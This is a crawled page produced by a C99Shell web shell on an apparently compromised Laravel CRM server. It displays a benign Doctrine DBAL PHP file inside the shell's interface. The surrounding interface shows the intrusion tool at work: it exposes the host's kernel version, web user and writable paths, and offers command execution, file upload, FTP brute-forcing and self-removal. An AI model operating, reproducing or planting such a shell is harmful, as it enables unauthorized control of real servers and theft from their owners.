!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/doctrine/dbal/src/SQL/Builder/   drwxrwxrwx
Free 12.99 GB of 57.97 GB (22.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CreateSchemaObjectsSQLBuilder.php (1.89 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\DBAL\SQL\Builder;

use 
Doctrine\DBAL\Exception;
use 
Doctrine\DBAL\Platforms\AbstractPlatform;
use 
Doctrine\DBAL\Schema\Schema;
use 
Doctrine\DBAL\Schema\Sequence;
use 
Doctrine\DBAL\Schema\Table;

use function 
array_merge;

final class 
CreateSchemaObjectsSQLBuilder
{
    private 
AbstractPlatform $platform;

    public function 
__construct(AbstractPlatform $platform)
    {
        
$this->platform $platform;
    }

    
/**
     * @return list<string>
     *
     * @throws Exception
     */
    
public function buildSQL(Schema $schema): array
    {
        return 
array_merge(
            
$this->buildNamespaceStatements($schema->getNamespaces()),
            
$this->buildSequenceStatements($schema->getSequences()),
            
$this->buildTableStatements($schema->getTables()),
        );
    }

    
/**
     * @param string[] $namespaces
     *
     * @return list<string>
     *
     * @throws Exception
     */
    
private function buildNamespaceStatements(array $namespaces): array
    {
        
$statements = [];

        if (
$this->platform->supportsSchemas()) {
            foreach (
$namespaces as $namespace) {
                
$statements[] = $this->platform->getCreateSchemaSQL($namespace);
            }
        }

        return 
$statements;
    }

    
/**
     * @param Table[] $tables
     *
     * @return list<string>
     *
     * @throws Exception
     */
    
private function buildTableStatements(array $tables): array
    {
        return 
$this->platform->getCreateTablesSQL($tables);
    }

    
/**
     * @param Sequence[] $sequences
     *
     * @return list<string>
     *
     * @throws Exception
     */
    
private function buildSequenceStatements(array $sequences): array
    {
        
$statements = [];

        foreach (
$sequences as $sequence) {
            
$statements[] = $this->platform->getCreateSequenceSQL($sequence);
        }

        return 
$statements;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0222 ]--